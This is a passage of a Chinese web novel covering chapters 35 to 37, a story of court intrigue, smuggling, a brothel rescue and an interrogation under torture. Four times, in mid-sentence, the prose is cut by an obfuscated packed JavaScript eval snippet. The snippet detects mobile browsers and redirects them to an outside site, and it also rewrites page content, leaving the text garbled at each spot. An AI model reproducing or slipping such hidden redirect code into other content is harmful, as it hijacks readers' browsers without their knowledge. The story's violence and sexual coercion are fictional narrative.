梨花拍拍胸口,不杀她就好,却听谢舟又道:“莽撞的家伙,若非我在场,你早被砍成一滩烂泥。管好你自己,这世上哪有那么多人需要你来救?” 梨花不服气低声嗫嚅:“你不就是我救的么。” 谢舟冷哼:“不救你我也不用受伤,你如此爱多管闲事,我还能救你几次?” 梨花闻言心虚,确实是她理亏,她悻悻坐到谢舟身边号脉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199284|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “果然好多了,都有力气骂我了。” 不等谢舟说话,她又问:既然不是追杀鸳夫人,你跟来做什么?当时看到他们拿着绣春刀我都要吓死了。” 谢舟白她一眼,“多低级的嫁祸你也信,”他摇摇手臂,“我杀人岂会用这种下三滥的毒药。” 梨花有一丝庆幸和窃喜。 谢舟道:“毒死高彪的人不想让我追查当年的事,最稳妥的方法就是灭门。鸳夫人卷走家财遣散下人跑路,恰好给了那人杀她的机会。” “她什么都不知道,为什么不能饶她一命?” “你才是什么都不知道,她在高家十几年,与情郎暗通款曲,三年前让她的情郎顶替了原本管家的位置,就是之前在高家见到的那个。” 梨花心想,这也不是要她性命的理由啊,问道:“那她怎么逃出来的?” 谢舟道:“自然是我派人暗中保护,她也确实很能跑,后来连我也找不她的踪迹。” 梨花补充:“不是能跑,是吓得神智失常被人关起来了。” 谢舟揶揄:“是,多亏你这位大善人把她送到众人眼前。”梨花懊恼,好心办坏事呀。 “那些人一定会继续追杀她,我就暗中跟随查找幕后之人。”谢舟冷不丁看她一眼,“结果碰上个送死的,绑根藤条在树林里当猴。” 梨花很会抓重点,自觉忽略被称为猴子这件事,她问:“高彪当年不是拿着证据检举的吗,你说幕后之人指什么?” 谢舟仰天长叹:“证据是真的,但只有一半是真的。” 他与密室中的卢会荣缠斗许久,直到卢会荣心理崩溃说出真相。 “当年的戍边大将军是杨贞的父亲杨业,他接到密信有人与漠风通敌,在敌人的围剿中拼命送出密信和证物,送东西的小将身受重伤丢失证物,只把密信送回京城。当时的高彪负责兵部驿递管理,密信和证物出现在他的桌上。” “证物不是丢了吗?”梨花脑子一转,“难道说……” 谢舟闭眼点点头,“密信没有名字,只有证物能证明通敌之人的身份,我父亲喜欢刻章,证物就是他刻的一枚章。” 高彪拿着信和证物向先帝检举,那时谢谦刚带兵打了胜仗,先帝不信,按下此事待查。很快先帝病亡,李潇辅佐宁洵登位,她垂帘听政第一件事就是捉拿谢谦。 官兵突然闯进谢府,在谢谦书房搜出大量与敌方往来的书信。证据齐全谢谦却死不认罪,直到谢舟去大牢看望父亲,出来后他便替父认罪。 谢舟睁开眼不愿再回想,梨花放任沉默,让他独自消化情绪,等他渐渐平静,梨花才开口,“所以你无法确定高彪是受人指使还是被人利用?但不管怎样一定有个幕后之人操纵一切。” 谢舟道:“我刚知道此事高彪就遇害,我抓到下毒的人,她被高彪强占为妾,有人收买她下毒,再追查下去线索就断了。” 高彪中的是离魂散之毒,先帝中的也是离魂散之毒,谢舟此前并不知道此毒药,也就是说他不会是害先帝的人。 哪里不对劲,一定漏掉了什么,梨花琢磨半天终于想起来,她道:“谢大人,你的故事里少了一环。” 35. 陈三秘密 谢舟问:“哪一环?” 梨花道:“谢大将军被抓之前曾进过宫。” 杨盈告诉过她,先帝中离魂散之毒而死,谢谦在先帝死前进过宫,很有可能他发现了先帝死亡的真相,有人着急除掉他。 李守仁去谢府诊病,随后谢谦入宫,出来没多久就被抓,之后就是梅若寒离开谢府,李守仁失踪,哪有这么巧的事? 无论是谢舟无意漏掉还是故意没说,这部分一定隐藏了重要的东西。 谢舟突然笑了:“你很敏锐,但这不一定是好事。” 涉及老爹,她不能不敏锐,梨花问:“你想隐藏的是离魂散?还是先帝死亡的真相?” 谢舟闻言脸色突变,他掐着梨花的脖子把她按在墙上严辞警告:“不该说的话永远烂在肚子里!” 梨花许久没见到这样凶狠的谢舟,可她这次没有卖乖求饶,想找老爹的踪迹,谢舟是唯一的突破口,她道:“你有你在意的人,我也有我要保护的人。” “先保护好你自己再说,省的别人牵挂你。” 梨花嗤笑:“哪还有人牵挂我。”这世上会牵挂她的只有老爹了。 一滴泪砸在虎口,谢舟的手不自觉卸力,“有的。” 梨花想了想笑道,“有的,阿香会,小川也会,也许杨大哥也会。” “我回来啦!” 声音大老远冲刺进来,陆鹏抱着一堆干草进门,见谢舟和梨花各自坐在原处,还是隔了十万八千里。她边铺草边问:“刚才树林里发生什么事,你们俩怎么会在一起?” 谢舟不语,梨花道:“散步,偶遇。” 荒野密林散步?要死要活那种偶遇?感觉气氛微妙,陆鹏没继续问。 梨花道:“谢大人休息吧,我不奉陪了。”她向陆鹏点头示意离开义庄。 谢舟咬死不说,看来还得从杜仲处着手。 ———— 梨花往惠民药局走,半道上总觉得身后有双眼睛,能被她发现,想来不是武功高深莫测之人。她走在一片田垄上,田垄细长圆润,走几步就滑下去,她顺势滑进一片麦田不见踪影。 身后“小尾巴”追上来站在原地寻找,找不到人气急败坏跺脚,脚一滑向后仰倒手扑在牛粪上,呜哇乱叫。 梨花听这声音十分熟悉,扒开麦秆一看,贵公子打扮的宁照夜正和手上的牛粪作斗争,甩也甩不干净,擦也没处擦,五官拧在一起,看得梨花咯咯笑。 宁照夜这才看见麦秆后的脸,大叫:“不许笑!还不帮本公……子弄干净。” 梨花道:“你确定要我帮忙?” 宁照夜道:“别废话。” 梨花贼兮兮一笑,抓起宁照夜的双手往地上杵,两只白嫩的手在土堆里搓来搓去。宁照夜快气死了,堂堂金枝玉叶又是抓牛粪又是抓土,站起来追着梨花就跑。 宁照夜不是娇娇女,跑起来很有力气,可梨花是在乡间长大的,一溜烟就跑没了,一会儿又折回来挑衅道:“你行不行啊,小心再弄脏鞋。” 敢怀疑她不行?宁照夜低头,软底绣鞋限制了她的发挥,反正已经弄脏了,她脑子一热索性脱下鞋子光脚跑。 夏日炎炎,两人前后追出去二里地,直到跑到一条河边,梨花弯腰拄着膝盖大喘气:“不行了。” 宁照夜提着鞋站在她旁边问:“谁不行了?” 梨花道:“我,我不行,公主您大大的行。” 宁照夜这才心满意足蹲在河边洗手,手一伸发现上面牛粪早没了,只剩细细的尘土。 梨花道:“随时洗手是你们富贵人家才能办到的,庄户人在土里抹一把就成,湿牛粪沾了土很快就干了,搓两下、拍一拍,屁股上蹭蹭,就能拿起馍馍吃了。” 她说着脱掉鞋袜把两只脚伸到河里,宁照夜学她的样子也把脚伸进去,河水凉得她一激灵,转而是通体舒畅。 梨花道:“光脚在土地上踩一踩这叫‘接地气’,有助于你的病情。你为何跟踪我,还穿成这副模样?” 宁照夜胸脯一挺:“本公主微服私访体察民情。”见梨花露出一个我信你才有鬼的表情,她又道:“皇兄给行勉哥哥安排了任务,我跟出来看看,他去办事,我在路上看到一个人好像你,就跟上来看看。” 说到杨贞,梨花还未向他亲自道谢呢,便问:“杨大哥去哪里了?” 宁照夜摇头,“不知道,他不让我跟,还找来顾承嗣那个讨厌的家伙看着我。”她啪嗒啪嗒踩水,因为身后讨厌的家伙又跟来了。 只见一只花孔雀带着一大群人朝她们浩浩荡荡飞奔过来,顾承嗣道:“我的祖宗啊,可算找到你了!”他将宁照夜上上下下检查一遍确认她没有受伤。 梨花咧着嘴道:“这微服私访微得人尽皆知啊。” 顾承嗣折扇一展:“方姑娘,又见面啦!这次你们比跑步吗,看来是我家公主赢了。” 宁照夜白他一眼对梨花道:“改日再出来接地气。”说罢推开顾承嗣上马车。 顾承嗣望着宁照夜的身影怅然所失,“她好像只有与你在一起时才开心,你可千万不要让她失望。” 梨花道:“顾公子此话何意?” 顾承嗣道:“她喜欢杨贞,杨贞喜欢你,所以我不许你和杨贞在一起。” 梨花觉得莫名其妙,理了理他这番话道:“首先,她喜欢谁与你无关。其次,杨大哥对我只是朋友情谊。最后,我和谁在一起都不容你置喙。顾公子此言实在无礼,让公主听去又要恼你了。” 顾承嗣大笑:“你真是个有趣的人。” ———— 午后正是一天中最热的时候,街上狗不吠叫,商不揽客,偶有小工推着板车往来,梨花啃着包子顺树荫往回走。 惠民药局房后有一片空地,上面杂草丛生有半人高,梨花抄近路从空地回去,却见先前推着板车的人停在门前。 陈三说过,全国各地药局每个月都要送药到京城,珍稀药材、高质药材都送往太医院和王公贵族家,剩下没人要的才会分来惠民药局。 他三长两短敲门,梨花想,此人大约是来送药的,自杜仲来了恢复义诊,药局的人每天都出门赠医施药,他敲不开的,便要过去迎他,却被人捂住嘴按着蹲下。 梨花挣扎中看见那人袖口的手绢,正是她送给杨贞的,她平静下来回头看,竟然真是杨贞。她面露喜色正要说话,却见杨贞比了一个噤声的手势,梨花乖乖点头。 门口陈三探出个头,问道:“你是来做什么的?” 小工道:“送药,太医院分过来的。” 陈三道:“有什么药?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208912|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 小工道:“银金花。” 陈三道:“我只听过金银花。” 小工道:“金银花给人吃,银金花给神吃。” 梨花腹诽,什么狗屁银金花,这是暗号吗?却见陈三把人放进去,鬼鬼祟祟查看关上大门。 陈三道:“阁下眼生啊。” 小工道:“赖子被抓了,我接替他,第一次来,这地方偏可叫我一顿好找。” 陈三道:“难怪选了这么个时候,他怎么被抓的?” 小工道:“色字头上一把刀,叫新媳妇儿废了,又让查出他先前杀妻抛尸,我这才来的。” 梨花心道:他说的新媳妇儿大概就是陆鹏。 陈三不耐烦道:“算了,随他去吧。”打开木箱,里面零星放了一些草药,他眉头一皱,“货呢?” 小工道:“我今日不是来送货的,是来取货的,最近没少消耗,主子差我来取些,陈大人带路吧。” 梨花心生疑窦,什么货?什么主子?陈三究竟是什么人,暗地里替何人卖命? 陈三笑着把人领到石桌旁,“兄弟先喝口茶,一路怪累的。”小工坐下,他边倒茶边说:“上次主子来信说要那柄玉如意,之前没找着最近才翻出来,主子这次还要吗?” 小工端茶的手一顿,随即道:“要的,一起装上吧。” 梨花瞪大了眼,玉如意!李遥到底在这里藏了什么东西? 小工喝完水,陈三道:“请跟我来吧。” 话音刚落只听里面“嗖”一声像是暗箭,然后便是两人打斗的声音。杨贞挥手,空地杂草中霎时站起几个人从屋顶飞进去。 梨花顾不上惊讶,与杨贞从正门进去。 陈三已经被人按在地上,小工问,“我自信天衣无缝,你怎么识破我的?是玉如意?”陈三不说话,小工一拳上去打掉他两颗门牙,陈三这才说:“送货取货不会是同一个人。” “货呢?” “在暗道。” 陈三指了指堆草药的地方,杨贞的几个手下立刻清开那处,除了光滑的石板什么都没有。陈三又指了指小工刚才坐的石凳,一转石凳,石板立刻从中间打开,露出一条台阶,暗道通向一座暗室,里面装满奇珍异宝。 梨花想起宁照夜的话,这应该就是杨贞的秘密任务,只是这般隐秘的事,她也不该知道。 梨花道:“杨大哥,抱歉。” 杨贞笑笑:“有何抱歉,你是这里的医吏,该知情的。近来黑市上流通许多奇珍异宝,南洋珊瑚,扶桑夜明珠……我朝早已实施海禁,这些东西只可能是走私而来,顺藤摸瓜查到是借各地药局送药之名一起运到京城,只是还未查到背后是何人指使。” 梨花呸一声,“义诊是不去的,藏赃是专业的,这种人竟在太医院供职,实在可恶!” 杨贞道:“新任职的太医段霄暗中助我查其他蛀虫,定会还太医院清明。对了,还没正式祝你成功考入太医院,恭喜我们宁国的第一位女医。” 梨花挠头有些不好意思,“谢谢杨大哥,还有多谢你帮我向仁德太后娘娘美言。” “我知你志向,不过举手之劳。”杨贞拿出手绢,“姑母逼我娶亲,我求了皇上,这次任务完成就为你我赐婚。” 梨花呆了,杨贞竟然真的喜欢她。 36. 开办女院 从停云阁书肆第一次相见,到刑部大牢谈心,再到摘星楼听学救命,杨贞和梨花两条毫不相干的线仿佛被命运缠绕,杨贞的心从未如此激荡过。 若说与方梨的通信是润物细无声的小雨,与梨花的交往就是酣畅淋漓的大雨,过去五年的干涸终于被雨水填满。 最初杨贞不敢确认梨花是否对他同样有意,直到收到梨花亲手绣的手帕,他喜不自胜。 院考那天,梨花被内侍掌掴,他正要上前保护,却有人先他一步。 杨贞了解谢舟,他有实力,他擅隐忍,那天却丝毫没有隐藏,当众将梨花护在羽翼下,任谁都看出他对梨花有意。让杨贞意外的是,梨花自然无比地躲在他身后,他们何时这么熟了? 散考后,他本想安慰梨花,梨花却浑浑噩噩跟着谢舟走了,即便意识不清醒她也信任谢舟。杨贞第一次慌了,他彻夜未眠。 次日姑母叫他进宫说了许多话,比如复兴杨家,比如娶亲。姑母拿出几幅画像给他挑,画中人的共同点是有一个官居高位的爹。 皇帝宁洵派他查走私的案子,他向宁洵请求赐婚,宁洵答应了。 今日来惠民药局办案,他期待见到梨花,又想先不要见面,到时候拿着圣旨给她一个惊喜。 梨花望着深情的杨贞,心情意外的复杂。 谦谦君子是她小时候对未来夫婿的想象,杨贞品性高洁志向远大,她早对他芳心暗许,面对杨贞的告白,梨花该高兴,可心中总觉得被一块石头压着,她不知道如何回应。 两人来到一家酒楼坐下,小二上菜,杨贞夹了一个口袋一样东西给她,“我知你喜食清淡,这是八珍乾坤袋,里面是香菇、胡萝卜各种菜。还有这个笋片、花胶山药羹……”不一会儿梨花的碗被堆得冒尖。 梨花心烦意乱味同嚼蜡,她正要开口,杨贞道:“我有一个秘密,等成婚那天再告诉你,你知道了一定很开心。以后院子交由你设计,你想种菜养鸡都好。” 看着杨贞自顾自畅想未来的模样,梨花拒绝的话随饭菜咽在肚子里,有一个人把她纳入自己的人生,这种感觉很奇妙,梨花渴望多一个家人陪伴她。 梨花道:“我还有一件事没办完,等处理好这件事我再给你答复,好不好?” 杨贞布菜的手一顿,半晌才笑道:“好。” ———— 自从陈三被带走,惠民药局人仰马翻,上下被带去问话,日常工作停摆,好在杜仲出身惠民药局,又在太医院浸淫多年,这点麻烦不至于打垮他。 在他的带领下,原本的两名医吏,再加上他带来的青年医吏,还有梨花,五人分工合作各司其职,惠民药局有条不紊极其忙碌地运转起来。 也不知道是否故意躲着梨花,杜仲经常见不到人,离魂散的事一直顾不上问,梨花自己也忙的不可开交,每天在女院坐诊。 女院是梨花申请成立的专门为女子病患治病的地方。 院考期间,梨花随太医出门上实操课为百姓义诊,大部分学子选的是疑难杂症,梨花也在其中。庚娘毫无医术基础,只好做些稳婆相关的活儿。 她为产妇清褥疮发现产妇身下恶臭,她解决不了便寻来梨花,那妇人的病难以启齿不敢见人,拖拉许久越来越严重,见梨花是个女大夫,这才和盘托出。 后来越来越多女子暗中找梨花看病,各种带下症、花柳病、产后症……梨花知道有人讳疾忌医,却不曾想这么多妇人求医无门,这些病如何找男大夫看? 即便鼓起勇气求医,也会被外人指指点点,甚至被丈夫嫌“脏”,哪怕她们得病是为丈夫生儿育女,或者被丈夫传染花柳病。 那时梨花向杜仲提议建设女子看诊之所,杜仲只随口答应,梨花以为他早忘记此事,没想到来惠民药局以后杜仲同意成立女院,只是一切建设要梨花自己想办法。 梨花选了惠民药局房后那片空地,知道她要建女院,宁照夜铲平一切制度阻碍,小川不知从哪儿找来一群人除草夯地搭棚子,秋水仙捐出皇帝发的月例银子置办东西,阿香空了就过来一起帮忙坐诊,庚娘带着小丫打下手,女院建设得如火如荼。 与此同时,杨贞调查走私案进展也算顺利。 走私的人都是单线行动,陈三负责存取货物,领货的人杨贞蹲守许久才抓住,谁也没想到竟是林公公,他是个嘴硬的,重刑加身铁证如山都不开口,却在干儿子懂事学子身上翻了车。 林公公什么秘密都同干儿子分享,奈何干儿子嘴上没把门,连哄带骗全招了,幕后之人就是李遥。 李遥这几年借运输药物之便大肆敛财,奇珍异宝都用来打点官员,最初官员都喜欢在家中显眼之处摆上一两件,以示他与荣国公的关系,与太后李潇的关系。 自杨盈回来,风向一变再变,宝贝被官员藏起来,有的卖到黑市,生怕被别人发现他曾经站队。 李遥送礼有一个账本,账本放在密室,钥匙却不知藏在何处。账本是李遥定罪的关键证据,杨贞沉住气等待机会。 ———— 这天梨花继续在女院坐诊,来了一个用纱巾包裹头脸的女子。梨花道:“你得让我看你的脸色、舌苔,我才好确认你的病症。” 那女子喉咙沙哑道:“不用,我的身体已是强弩之末,麻烦你开一些提振精神的药,我听说有一种药可以将人的全部精力集中在一天,我需要这种药。” 梨花道:“这是虎狼之药,吃了会没命的。” 那女子道:“多谢大夫,没有就算了。”她转身离开,身上掉下一个香囊,梨花捡起正要还她,却看到香囊上的针脚,这锁边方式是红牡丹常用的,那时跟她学绣手帕时见过。 梨花闻了闻,是醉仙楼女子常用的胭脂味,她立刻喊人:“牡丹姐姐。”那人站住脚,头微微侧过,露出纱巾下溃烂的皮肤。 原来当初李遥宴请漠风王子那木勒,红牡丹献舞一曲,那木勒就看上了红牡丹,红牡丹不从却被那木勒强迫,没多久她发现自己有了身孕。 花楼女子最怕有孕,尤其红牡丹,她还有妹妹要照顾,这些年她挡在台前几乎贡献出全部银两,老鸨这才没对她妹妹下手。 红牡丹背着人夜夜用冷水冲洗,孩子没掉却被老鸨发现,她当着老鸨的面用肚子撞向桌角,一次不行她连着撞,终于看到下身流出鲜血。 红牡丹不能再跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232142|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舞了,为了继续赚钱,她在老鸨的强迫下接客。有一天沐浴时,她发现自己身上开始长疮,那疮很快蔓延到脖子上、脸上,她不能再接客,被老鸨连夜丢出去。 她一直徘徊在醉仙楼附近,直到三日前看到楼前挂起牌子:拍卖绿萝初夜。绿萝就是红牡丹的妹妹,老鸨终于终于还是对她下手了。 牌子刚立起就被人拍下,红牡丹打听到是荣国公李遥,今夜要把人送到摘星楼。她要救她的妹妹,可拖着这副残破的身躯什么都做不了。 梨花一边写药方一边道:“你按照这个方子先吃药,妹妹我替你带出来。”当初若不是红牡丹带人支持她的敷面生意,她也不会那么快赚到捐官的银子,红牡丹的情她得还。 ———— 晚上摘星楼灯火辉煌,当初杨贞坠楼之事不但没给此处带来打击,反而吸引某些自称清流名仕前来瞻仰。他们穿着杨贞同款青蓝色氅衣,或斗诗,或题字,或作画,或给台上美救英雄的戏码打赏,给摘星楼账本增厚做了极大贡献。 李遥走进雅室,他手中琉璃串盘的飞起。 高彪死了,严灼成了兵部侍郎,他的马恰好踢伤严灼儿子让他绝了后,兵部彻底与他们再无干系。 李潇举办马球会本意促成几家联姻,宁照夜第一个带头反对,其他人顺势推拒。 太医院院考安排几个自己人进去,结果让横空出世的段霄截了胡,杜仲也因为方梨被撤职。 还有之前牵丝引之事,徐掌柜一死,被牵丝引控制的官员也渐渐失去控制。 一桩桩一件件都不顺利,弄得李遥心烦意乱。 好在今日基本敲定与漠风的合作事宜,那木勒似乎还有犹豫,迟迟不肯盖印。李遥深知此人好色,今日又给他准备一份好礼,等他沉沦温柔乡,一切都好办。 摘星楼后门,绿萝被人绑着推下马车,然后被等待许久的李遥侍卫关进木箱。他们抬着木箱去耳房,走到楼梯转角处,不慎与一少年相撞,那少年浅声道歉让开路。 放下木箱,那两人守在门外,不一会儿其中一人突然腹痛如绞,另外一人笑他,“出任务还乱吃,小心耽误事儿主子送你喂狮子。你快去吧,这里我看着。” 那人去了没多久,另一人也感觉不适,他左右看看,想也不敢有人过来,急匆匆跑去茅房。 刚与他们相撞的少年大摇大摆推门进去,心道:“还是那么喜欢用木箱装东西,今天就给你们来个大变活人。” 梨花一身蓝色衣衫完美融入清流名仕队伍,在摘星楼走在哪儿都无人注意。她故意撞到那两个侍卫,趁机把药粉撒到他们身上。 掀开箱盖,绿萝被堵着嘴惊恐地望着她,梨花边解绳边和她说事情原委,一听是姐姐的朋友来救她,绿萝委屈要哭,被梨花一把捂住嘴,“不要发出动静跟我走。” 梨花打开门,就见两个侍卫从楼下往回走,梨花皱眉,小看这些练武之人了,抗药能力这么强。 两个侍卫回来打开箱盖检查,女子头窝在膝盖里,仍是被绑的样子。正好有人通传,他们不敢耽搁将箱子抬去雅室。 换了绿萝衣服躲在箱子里的梨花就这么被抬到李遥面前。 37. 互市合作 看着面前的木箱,李遥盘算那木勒的心思。 那木勒此人平庸无能,只因老漠风王病逝,他父亲格摩三年前当上漠风王,他才在漠风有一席之地,他自己也知道这般处境,急于表现,主动来宁国洽谈合作互市。 那木勒最喜凌虐女子,尤好未经人事的雏,绿萝被红牡丹藏在醉仙楼,李遥睁一只眼闭一只眼,如今到她发挥作用的时候了。 正想着,那木勒撞门进来。 李遥微微皱眉,到底是草原蛮子,粗俗无礼,嘴上说着喜好宁国礼仪文化,最起码的尊重的没有,他抬手,侍卫把木箱抬到纱帘后,便恢复表情迎接那木勒。 在箱中被撞得头晕眼花的梨花听出这粗犷的声音是那木勒,原来李遥是要把绿萝送给他。想起他对“白玉观音”上下其手的样子就觉得恶心,她可不能落在这种人手里。 二人坐下,那木勒知道李遥请他来的目的,开门见山道:“九成,互市之利九成归我。” 互市是两国邦交的重要承载,宁国与周边邻国通商历史久远,南与扶桑、南洋,北与漠风等诸多草原部落。前朝各国动乱,先帝下令关闭海陆商贸通道,以减少对宁国的波及。 上一次开互市是六年前,那时方延昌曾作为商贸使者与先代漠风王舒摩洽谈,两国商议互免关税,边界贸易曾繁荣过一段时间,后来两国打仗便停了。 两国互市,最直接的是利益交换,对漠风而言是交易粮食,避免水草不丰时百姓冻饿而死,用以稳定民心和漠风王的统治,对宁国来说,则是以低廉的价格换来大量铁矿,用以制造兵器。 这一次的互市由李遥主导,不但不免税,还要加关税,只因为漠风如今处于弱势方。所有交易都要在李遥手里过一遍,这样的大肥肉那木勒岂会让他独吞? 面对那木勒的狮子大开口,李遥不慌不忙道:“你是王子,别说九成利,漠风全部利益都是你的。” 那木勒冷哼:“别跟我装傻,我说的是你手中的利,我要九成。” 那木勒道:“前几天见过杨贞一次,他查了不少人,似乎都是你在朝中的势力,年轻人就是有魄力。”他话锋一转,“你们杨太后与我也算旧识,看在往日情谊,我与她合作也不是不行。” 李遥倒酒的手一顿,这是明晃晃的威胁了,他放下酒壶大笑:“与杀了自己亲哥哥的人合作吗?格摩大王当年还是将军的时候,据说为了围剿杨业,屠了漠风边境的一个村,那可是一百多条人命啊,要让漠风百姓知道自己的王屠杀百姓,他的王位还能坐得稳吗?” 屠村? 听到李遥的话梨花身子一颤,藏在记忆深处的血腥场景洪水一般向她袭来,她就是那场屠村的唯一幸存者。 梨花本是漠风人,当年她与家人生活在漠风与宁国交界的一个小村庄,一日放牧回来,她见到父母惨死家中。找邻居大娘求救时,恰好看见她被一个漠风士兵捅死。 她急忙躲进一口枯井里,井口被一张破烂的木板盖着,一个村民被割断脖子推在井口,血顺着木板孔隙流下来,一滴一滴砸在梨花脸上,她死死捂住嘴才没叫出来。 枯井是她和小伙伴们捉迷藏时发现的,这时却成了她的救命之所,她在井底呆了三天,快饿死时不得不爬出来,眼前尸横遍野,被烧过的房屋弥漫焦糊的味道,那是她对漠风最后的记忆。 原来当年的罪魁祸首就是那木勒的父亲格摩,仇人的儿子就在外面,她想立刻冲出去报仇。 那木勒道:“荣国公说笑了,那些人明明是贵国的杨业将军所杀,我们又杀他为子民复仇,战场之上合情合理。” 李遥又道:“听说先王舒摩之女那斯公主很得人心,我还听说她曾与我们的先太子宁澈有过一段佳话,太子早逝,可惜了。” 听到这儿,那木勒终于沉不住气,酒杯一砸,“别跟我提那个贱人!”那木勒与那斯是堂兄妹,从小不和,如今外有其他部落虎视眈眈,内有那斯蠢蠢欲动,与宁国的互市是维护他们父子权力的重要一步。 那木勒思考片刻道:“五成,不能再少了。” “成交!”李遥不想与那木勒搞得太僵,虽说那木勒只能与他们合作,可他们也只能与那木勒合作,杨贞不断拔除他们在朝中的势力,他急需外部势力的支持,适当让利对彼此都好,“明日鸿胪寺盖印。” 李遥走到纱帘后露出木箱,“这是为王子准备的好礼。” 那木勒道:“什么好礼?打开看看。”听见他们要开箱,梨花心脏咚咚直跳,李遥在马球赛见过她,一开箱她暴露无遗,梨花死死从里面抠住箱盖。 这时有侍卫急忙进来,低声向李遥禀报:“杨贞查到林公公了,他吐出账本的事情,赖子在谢舟手上。” 李遥放下正要开箱的手,眯眼疑道:“他们想干什么?”他回头看一眼那木勒,敲敲木箱盖,“春宵一刻值千金,就不耽误王子的好事了。”说罢匆匆走了。 ———— 与此同时,锦衣卫地牢里,赖子被吊在木架上,胳膊脱臼满身伤痕,只靠两只脚尖微微撑着,有气无力道:“我都已经承认杀人了,求您给个痛快。” 谢舟翻开手中的折子,“赖明明,冀州人士,永昌十三年武举人,后为禁军,永昌十七年因错被逐出宫。好好一个前途无量的武举人,成了混迹市井的赖子,真叫人唏嘘。” 谢舟道:“就是不知究竟什么错竟毁了人一生?” 赖子道:“命贱,打碎贵人一个茶盏就被赶出来,官职记录册里都有何必来问我。” 谢舟合上折子走到赖子身边,“那我说些记录册里没有的,当年你有一个好兄弟,你们总结伴当值,先帝病逝那夜正是他守夜,你在值房等待替班,那夜过后你的好兄弟因办差不力被赐死,与失足落水而亡的大监秦征一起被抬出宫。” 闻言,赖子垂下眼帘,“陈年旧事,我不记得了。” “哦?那我帮你想一想。”谢舟拿起通红的烙铁烙在赖子胸口,“当夜轮到你替班,你们二人在先帝寝殿门口换班,谢谦大将军深夜拜见,他同先帝说了什么,被你二人听到了,那是听了会要命的话,你的好兄弟为了保你一命赶走你,自己继续当差,后来他果然被人灭口,你则躲过一劫。” 赖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236085|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子忍痛笑言:“谢大人这么会编故事,不如去戏班子唱曲,您这副容貌,当小倌也是翘楚。” “你不用激怒我,杀你毫不费力,”他把烙铁再往深按,皮肉被烙铁烫得滋啦作响,“倒是你时常接济的盲人老妇,她是你好兄弟的亲娘吧,不知她受不受得了这红烙铁?” 赖子被戳到关键处,喘着粗气大叫:“谢舟,你有什么仇怨冲我来!” 谢舟放下烙铁坐回去:“我与你无仇无怨,只想知道当年你听到了什么。” 赖子缓缓吐出一口气道:“是遗诏。先帝让秦公公取来遗诏给谢大将军,谢大将军离开不久,李美人也就是现在的李太后便来了,紧接着传出先帝驾崩,以及她传遗诏的消息。” 谢舟了然,李潇手中的遗诏必然是假的,她想拿到父亲手里的真遗诏才迫不及待将他下狱。这些年李潇也不是真想留他一命,而是想找机会拿到真遗诏。 一道不知内容的遗诏竟成了他父亲的催命符,所有的事都是李潇主导,先帝之死必与她脱不了干系。 正想着,浊流来报,杨贞独自造访。 谢舟道:“看好赖子,别让他死了。” 谢舟去前厅见杨贞,杨贞看他一眼不兜圈子,直接道:“赖子呢?” 谢舟道:“杨大人好大的官威。” 杨贞道:“李遥走私,收买官员,草菅人命,醉仙楼就是他的产业,他利用醉仙楼网罗大臣秘辛,赖子替他办事,我要抓赖子回去定罪。” 谢舟阴沉的脸突然浮现笑意:“你这么着急,是真想拿住荣国公的把柄呢,还是为满足你的私欲?” 杨贞面色一变,他明知谢舟说的私欲是指杨家,却忍不住想到赐婚圣旨,他第一次觉得自己卑劣,强装镇定道:“调查官员贪赃枉法是督察院之职,谢大人何必阴阳怪气。” “锦衣卫亦缉捕盗贼掌管京城治安,赖子杀了三个人,锦衣卫先抓到他,自然由我来审,”谢舟挑眉,“光风霁月的杨公子不会急功近利到要抢他人功劳吧?” 杨贞道:“这时候你还想包庇李遥?他们李家姐弟究竟许给你什么好处,让你甘愿为虎作伥?” 李遥的罪证基本齐全,只差那本账簿,密室钥匙只有赖子这样的亲信才知道,他必须快点找到钥匙,否则让被李遥毁灭证据,一切就白费了。 谢舟知道杨贞找赖子的目的,但赖子要留着作为当年事情的人证,不能交出去定罪,他笑道:“为虎作伥还是各为其主,杨大人分得清吗?” 